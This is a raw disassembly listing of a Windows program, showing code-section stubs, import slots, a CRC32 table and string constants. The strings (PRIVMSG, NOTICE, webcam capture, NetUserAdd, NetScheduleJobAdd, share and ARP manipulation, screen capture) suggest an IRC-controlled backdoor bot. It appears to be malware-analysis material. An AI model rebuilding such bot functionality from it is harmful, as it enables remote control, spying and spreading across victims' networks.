sub_42A072 proc near ; DATA XREF: .rdata:stru_43A7F0o
lea ecx, [ebp+14h]
jmp loc_40F01A
sub_42A072 endp
; =============== S U B R O U T I N E =======================================
sub_42A07A proc near ; DATA XREF: .rdata:stru_43A7F0o
; FUNCTION CHUNK AT 0040F01A SIZE 0000000A BYTES
lea ecx, [ebp-28h]
jmp loc_40F01A
sub_42A07A endp
; =============== S U B R O U T I N E =======================================
sub_42A082 proc near ; DATA XREF: sub_40F5F6o
mov eax, offset stru_43A800
jmp ___CxxFrameHandler
sub_42A082 endp
; =============== S U B R O U T I N E =======================================
sub_42A08C proc near ; DATA XREF: .rdata:stru_43A81Co
mov eax, dword_4E1F08
and eax, 0FFFFFFFEh
mov dword_4E1F08, eax
retn
sub_42A08C endp
; ---------------------------------------------------------------------------
loc_42A09A: ; DATA XREF: sub_41B802o
mov eax, offset stru_43A824
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_42A0A4 proc near ; DATA XREF: .rdata:stru_43A8FCo
mov ecx, [ebp-10h]
jmp sub_429A21
sub_42A0A4 endp
; ---------------------------------------------------------------------------
loc_42A0AC: ; DATA XREF: sub_429712o sub_429823o
mov eax, offset stru_43A904
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_42A0B6 proc near ; DATA XREF: .rdata:stru_43A95Co
lea ecx, [ebp-28h]
jmp loc_40F01A
sub_42A0B6 endp
; ---------------------------------------------------------------------------
loc_42A0BE: ; DATA XREF: sub_4297E3o sub_42987Eo
mov eax, offset stru_43A964
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_42A0C8 proc near ; DATA XREF: .data:0043C008o
push 0FFFFh
push 539h
call sub_41B325
pop ecx
pop ecx
mov dword_4D1FE4, eax
retn
sub_42A0C8 endp
; =============== S U B R O U T I N E =======================================
sub_42A0DF proc near ; DATA XREF: .data:0043C00Co
push 0FFFEh
push 400h
call sub_41B325
pop ecx
pop ecx
mov dword_4D525C, eax
retn
sub_42A0DF endp
_text ends
; Section 2. (virtual address 0002B000)
; Virtual size : 00010448 ( 66632.)
; Section size in file : 00010448 ( 66632.)
; Offset to raw data for section: 0002B000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 42B000h
dword_42B000 dd 77E75CB5h ; DATA XREF: sub_40110F+DFr
; sub_40274D+2D16r ...
dword_42B004 dd 77E77963h ; DATA XREF: sub_40110F+B8r
; WinMain(x,x,x,x)+2C5r ...
dword_42B008 dd 77E61BB8h ; DATA XREF: sub_40110F+A7r
; sub_40274D+6651r ...
dword_42B00C dd 77E7A099h ; DATA XREF: sub_40110F+83r
; sub_40274D+1E67r ...
dword_42B010 dd 77E704FCh ; DATA XREF: sub_40110F+74r
; sub_40274D+1FADr ...
dword_42B014 dd 77E61BE6h ; DATA XREF: sub_40110F+29r
; sub_40123B+93r ...
dword_42B018 dd 77E805D8h ; DATA XREF: sub_4012D6+13Ar
; sub_4012D6:loc_4017E4r ...
dword_42B01C dd 77F5157Dh ; DATA XREF: sub_4012D6:loc_4013F6r
; sub_4012D6:loc_401520r ...
dword_42B020 dd 77E7A5FDh ; DATA XREF: sub_4012D6+11r
; sub_419FFD+5Fr ...
dword_42B024 dd 77E79F93h ; DATA XREF: sub_4012D6+2r
; WinMain(x,x,x,x)+CFr ...
dword_42B028 dd 77E75CEBh ; DATA XREF: sub_40274D+7721r
; sub_40AF6E+27r ...
dword_42B02C dd 77E73628h ; DATA XREF: sub_40274D+7493r
; WinMain(x,x,x,x)+325r ...
dword_42B030 dd 77E6AD34h ; DATA XREF: sub_40274D+6697r
; sub_41AEDD+35r
dword_42B034 dd 77E71AFEh ; DATA XREF: sub_40274D+6484r
dword_42B038 dd 77E7751Ah ; DATA XREF: sub_40274D+236Dr
; sub_40274D+2F80r ...
dword_42B03C dd 77E7AC37h ; DATA XREF: sub_40274D+705r
; sub_40274D+93Br ...
dword_42B040 dd 77E706B7h ; DATA XREF: WinMain(x,x,x,x)+25Er
; sub_419B8C+15r ...
dword_42B044 dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+251r
; ___security_init_cookie+27r
dword_42B048 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_40A417r
; sub_40FDC3+E1r ...
dword_42B04C dd 77E70396h ; DATA XREF: WinMain(x,x,x,x)+1AEr
; WinMain(x,x,x,x)+20Br ...
dword_42B050 dd 77E74CABh ; DATA XREF: WinMain(x,x,x,x)+197r
; sub_412B2A+10Fr ...
dword_42B054 dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br
; WinMain(x,x,x,x)+2FBr ...
dword_42B058 dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r
dword_42B05C dd 77E65F4Ch ; DATA XREF: .text:0040A93Br
; sub_41BE8A+34r
dword_42B060 dd 77E7513Ch ; DATA XREF: .text:0040A9A8r
; ___ansicp+20r
dword_42B064 dd 77E7C657h ; DATA XREF: .text:0040AA18r
; sub_41B065+32r ...
dword_42B068 dd 77E73C49h ; DATA XREF: sub_40B186+43r
; sub_40BCF3+204r ...
dword_42B06C dd 77F7E300h ; DATA XREF: sub_40BCF3+12Cr
dword_42B070 dd 77F7E21Fh ; DATA XREF: sub_40BCF3+C7r
dword_42B074 dd 77E7C706h ; DATA XREF: sub_40BEFE+79r
dword_42B078 dd 77F53275h ; DATA XREF: sub_40BEFE+6Dr
; sub_40BEFE+246r
dword_42B07C dd 77E77CCEh ; DATA XREF: sub_40C89B+61r
; sub_40C979+61r ...
dword_42B080 dd 77E78B82h ; DATA XREF: .text:0040CD7Cr
; sub_41150A+25r ...
dword_42B084 dd 77E79D8Ch ; DATA XREF: .text:0040CD47r
; .text:0041063Fr ...
dword_42B088 dd 77E73EACh ; DATA XREF: .text:0040CD2Dr
; .text:00410623r
dword_42B08C dd 77E7A837h ; DATA XREF: .text:0040CCAFr
; .text:004105EBr ...
dword_42B090 dd 77E79924h ; DATA XREF: sub_40F87A+A9r
; sub_4100AE+110r ...
dword_42B094 dd 77E616B4h ; DATA XREF: sub_411555+198r
; sub_414056+119r ...
dword_42B098 dd 77E79CE3h ; DATA XREF: sub_411555+111r
; sub_413CD4+73r ...
dword_42B09C dd 77E79C90h ; DATA XREF: sub_411555+FDr
; sub_411555+10Ar ...
dword_42B0A0 dd 77E7727Ah ; DATA XREF: sub_411555+74r
; sub_413F5A+48r ...
dword_42B0A4 dd 77E78EAAh ; DATA XREF: sub_412135+5EDr
; sub_419799+C0r ...
dword_42B0A8 dd 77E79424h ; DATA XREF: sub_412135+27Ar
; sub_419B8C+12Dr
dword_42B0AC dd 77E794BFh ; DATA XREF: sub_412135+26Cr
; sub_419B8C+11Br
dword_42B0B0 dd 77E75E67h ; DATA XREF: sub_412135+20Cr
; sub_412135+5DCr ...
dword_42B0B4 dd 77E75D9Eh ; DATA XREF: sub_412135+1FBr
; sub_419799+26r
dword_42B0B8 dd 77E78C81h ; DATA XREF: sub_4127B6+6Cr
; sub_418956+255r ...
dword_42B0BC dd 77E793EFh ; DATA XREF: sub_4127B6+38r
; sub_412B2A+1EDr ...
dword_42B0C0 dd 77E64106h ; DATA XREF: sub_4129C2+9Br
; sub_41D779+185r
dword_42B0C4 dd 77E64006h ; DATA XREF: sub_4129C2+87r
; sub_41D779+16Er
dword_42B0C8 dd 77E76968h ; DATA XREF: sub_413A51+61r
dword_42B0CC dd 77EC7C51h ; DATA XREF: sub_413E45+4Dr
dword_42B0D0 dd 77E74C59h ; DATA XREF: sub_414056+CBr
dword_42B0D4 dd 77E70F89h ; DATA XREF: sub_414B1C+Er
; sub_417D70+Dr
dword_42B0D8 dd 77E802FCh ; DATA XREF: sub_415825+188r
; sub_415825+1FAr ...
dword_42B0DC dd 77E6D75Bh ; DATA XREF: sub_415825+17Er
; sub_4164A9+FBr
dword_42B0E0 dd 77F51597h ; DATA XREF: sub_419A03+41r
; sub_419A03+F5r ...
dword_42B0E4 dd 77F516F8h ; DATA XREF: sub_419A03+21r
; sub_419B8C+4Ar ...
dword_42B0E8 dd 77E77CB7h ; DATA XREF: sub_419A03+10r
; sub_419B8C+40r ...
dword_42B0EC dd 77E7F01Ah ; DATA XREF: sub_419B8C+88r
; sub_419D2A+53r
dword_42B0F0 dd 77E61A54h ; DATA XREF: sub_419B8C+53r
; sub_419D2A+8Dr
dword_42B0F4 dd 77E7C3A5h ; DATA XREF: sub_419B8C+34r
; sub_419D2A+2Cr ...
dword_42B0F8 dd 77E80618h ; DATA XREF: sub_419FFD+16Fr
; sub_41B24B+B6r
dword_42B0FC dd 77E78147h ; DATA XREF: sub_419FFD+BBr
dword_42B100 dd 77E76A60h ; DATA XREF: sub_41ACD0+2Dr
dword_42B104 dd 77E71B14h ; DATA XREF: sub_41AD5A+26r
dword_42B108 dd 77E7166Fh ; DATA XREF: sub_41AD5A+1Dr
dword_42B10C dd 77E75090h ; DATA XREF: sub_41AD95+69r
dword_42B110 dd 77E74D76h ; DATA XREF: sub_41AD95+36r
dword_42B114 dd 77E77797h ; DATA XREF: sub_41AD95+25r
dword_42B118 dd 77E7011Ah ; DATA XREF: sub_41AE17+96r
dword_42B11C dd 77E73CE2h ; DATA XREF: sub_41AE17+60r
dword_42B120 dd 77E668D9h ; DATA XREF: sub_41AEDD+15Dr
dword_42B124 dd 77E76A2Eh ; DATA XREF: sub_41C444+D5r
dword_42B128 dd 77E7FF65h ; DATA XREF: sub_41C87C+3Br
dword_42B12C dd 77EB7624h ; DATA XREF: sub_41C87C+21r
dword_42B130 dd 77E6C29Dh ; DATA XREF: sub_41CEAF+1ECr
dword_42B134 dd 77E76C1Ah ; DATA XREF: sub_41D779+19Er
dword_42B138 dd 77E775F1h ; DATA XREF: __ValidateEH3RN+131r
; __ValidateEH3RN+196r ...
dword_42B13C dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+8r
dword_42B140 dd 77E7339Ch ; DATA XREF: sub_4281D4+Cr
dword_42B144 dd 77F522F2h ; DATA XREF: __msize+30r
dword_42B148 dd 77E77CC4h ; DATA XREF: ___security_init_cookie+2Fr
dword_42B14C dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+24r
; ___crtGetStringTypeA+128r ...
dword_42B150 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+19Cr
; ___crtGetStringTypeW+1CDr
dword_42B154 dd 77E73FF9h ; DATA XREF: unknown_libname_6+2Cr
dword_42B158 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_4268CBr
; __free_osfhnd:loc_426945r
dword_42B15C dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+Br
dword_42B160 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+C1r
dword_42B164 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_426793r
dword_42B168 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+113r
dword_42B16C dd 77EB9A84h ; DATA XREF: __XcptFilter+167r
dword_42B170 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+27r
; ___crtLCMapStringA+15Br ...
dword_42B174 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+2C3r
; ___crtLCMapStringA+344r ...
dword_42B178 dd 77E7F044h ; DATA XREF: __resetstkoflw+1Ar
; __resetstkoflw+71r ...
dword_42B17C dd 77E6169Ah ; DATA XREF: __resetstkoflw+D5r
dword_42B180 dd 77E7C9E7h ; DATA XREF: sub_4255AA+5r
; sub_4255BD+6r
dword_42B184 dd 77E78406h ; DATA XREF: __ioinit+FEr
; __ioinit+165r ...
dword_42B188 dd 77E79C3Dh ; DATA XREF: __ioinit+157r
; __NMSG_WRITE+14Er
dword_42B18C dd 77E7C931h ; DATA XREF: __ioinit+19Cr
dword_42B190 dd 77E7849Fh ; DATA XREF: _setSBUpLow+1Cr
; __setmbcp+93r ...
dword_42B194 dd 77F5722Fh ; DATA XREF: _realloc+FDr
; _realloc+13Dr ...
dword_42B198 dd 77E6167Bh ; DATA XREF: _time+9r
; ___security_init_cookie+1Br
dword_42B19C dd 77F6183Eh ; DATA XREF: sub_4298DCr
dword_42B1A0 dd 77E6D706h ; DATA XREF: _CxxThrowException(x,x)+2Er
; __raise_exc+1F5r
dword_42B1A4 dd 77E6177Ah ; DATA XREF: start+160r __ioinit+57r
dword_42B1A8 dd 77E7C938h ; DATA XREF: start:loc_420E19r
dword_42B1AC dd 77E76E0Bh ; DATA XREF: __heap_init+44r
dword_42B1B0 dd 77E7C726h ; DATA XREF: __heap_init+11r
dword_42B1B4 dd 77E79E34h ; DATA XREF: ___sbh_free_block+22Fr
dword_42B1B8 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+7Er
; ___sbh_alloc_new_group+52r ...
dword_42B1BC dd 77E73196h ; DATA XREF: sub_4281F0+Cr
dword_42B1C0 dd 77E7A13Fh ; DATA XREF: __setmbcp+42r
dword_42B1C4 dd 77E6C703h ; DATA XREF: __setmbcp+2Br
dword_42B1C8 dd 77E70192h ; DATA XREF: __chsize+104r
align 10h
dword_42B1D0 dd 71AB5A01h ; DATA XREF: sub_41776E+22r
dword_42B1D4 dd 71AB4122h ; DATA XREF: sub_417688+CDr
dword_42B1D8 dd 71AB1746h ; DATA XREF: sub_41549E+198r
; sub_41549E+1A7r
dword_42B1DC dd 71AB401Ch ; DATA XREF: sub_41549E+1D3r
; sub_41549E+1FAr
dword_42B1E0 dd 71AB3F8Dh ; DATA XREF: sub_411B17+5Cr
dword_42B1E4 dd 71AB155Ah ; DATA XREF: sub_411B17+8Fr
; sub_416311+6Er ...
dword_42B1E8 dd 71AB3ECEh ; DATA XREF: sub_411B17+B9r
dword_42B1EC dd 71AB5DE2h ; DATA XREF: sub_411B17+CAr
dword_42B1F0 dd 71AB868Dh ; DATA XREF: sub_411B17+174r
dword_42B1F4 dd 71AB3E5Dh ; DATA XREF: sub_411A00+57r
; sub_416311+88r ...
dword_42B1F8 dd 71AB1A6Dh ; DATA XREF: sub_411A00+68r
; sub_411A7D+88r ...
dword_42B1FC dd 71AB1836h ; DATA XREF: sub_411A00+6Er
; sub_411A7D+8Er
dword_42B200 dd 71AB1746h ; DATA XREF: sub_410BF8+4Ar
; sub_411A00+41r ...
dword_42B204 dd 71AB41DAh ; DATA XREF: .text:004106DFr
; sub_411A00+15r ...
dword_42B208 dd 71AB5690h ; DATA XREF: .text:0040FC17r
; sub_411B17+1D6r
dword_42B20C dd 71AB3C22h ; DATA XREF: .text:0040F780r
; sub_411A00+21r ...
dword_42B210 dd 71AB1AF4h ; DATA XREF: sub_40EE6B+12r
; sub_410BF8+15Er ...
dword_42B214 dd 71AB1B7Bh ; DATA XREF: sub_4298D6r
dword_42B218 dd 71AB12F8h ; DATA XREF: .text:0040D16Br
; sub_411A00+35r ...
dword_42B21C dd 71AB1890h ; DATA XREF: .text:0040D6E3r
; sub_40ECCD+4Cr ...
dword_42B220 dd 71AB157Eh ; DATA XREF: sub_40274D+2D73r
align 10h
dword_42B230 dd 0 ; DATA XREF: sub_401071+1Fr
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
; char aRb[]
aRb db 'rb',0 ; DATA XREF: sub_40109F+Bo
; sub_411A7D+24o ...
; char byte_42B633
byte_42B633 db 0 ; DATA XREF: sub_40110F+62o
; sub_40274D+1CFDo ...
; char Format[]
Format db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40123B+58o
; char aS[]
aS db '%s',0 ; DATA XREF: sub_40123B+35o
; sub_40274D+659o ...
align 4
; char aPrivmsg[]
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40123B+16o
; sub_40274D+592o
; char Str[]
Str db 'NOTICE',0 ; DATA XREF: sub_40123B+Fo
; sub_40274D+5A1o
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4012D6+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4012D6+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4012D6:loc_401F40o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4012D6+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4012D6+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4012D6+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4012D6+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4012D6+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4012D6+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4012D6:loc_401EA2o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4012D6+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4012D6+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4012D6:loc_401E58o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4012D6+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4012D6+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4012D6+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4012D6+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4012D6:loc_401DE4o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4012D6+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4012D6+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4012D6:loc_401D9Ao
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4012D6+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4012D6+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4012D6:loc_401D50o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4012D6+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4012D6+9ECo
; sub_41B24B+47o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4012D6+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4012D6+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4012D6+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4012D6+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4012D6+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4012D6+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4012D6+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4012D6+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4012D6+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4012D6+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4012D6:loc_401C34o
; sub_41B24B+3Ao
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4012D6+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4012D6+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4012D6+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4012D6:loc_401BD5o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4012D6+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4012D6+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4012D6+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4012D6+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4012D6+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4012D6+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4012D6+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4012D6+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4012D6+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4012D6+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4012D6+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4012D6:loc_401AB5o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4012D6+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4012D6+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4012D6+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4012D6+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_4012D6+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4012D6+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4012D6+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4012D6+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_4012D6+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_4012D6+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4012D6+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4012D6+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4012D6+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_4012D6+5FDo
align 4
; char aSend[]
aSend db 'send',0 ; DATA XREF: sub_4012D6+5F0o
; sub_40274D+44AAo
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_4012D6+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4012D6+5D6o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_4012D6+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4012D6+5BCo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4012D6+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4012D6+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4012D6+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4012D6+588o
aSocket db 'socket',0 ; DATA XREF: sub_4012D6+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4012D6+56Eo
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4012D6+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4012D6+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4012D6+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4012D6+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4012D6+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4012D6+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4012D6+514o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4012D6+4A1o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4012D6+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4012D6+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4012D6+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4012D6+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4012D6+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4012D6+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4012D6+446o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4012D6+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4012D6:loc_401703o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4012D6:loc_4016DBo
align 4
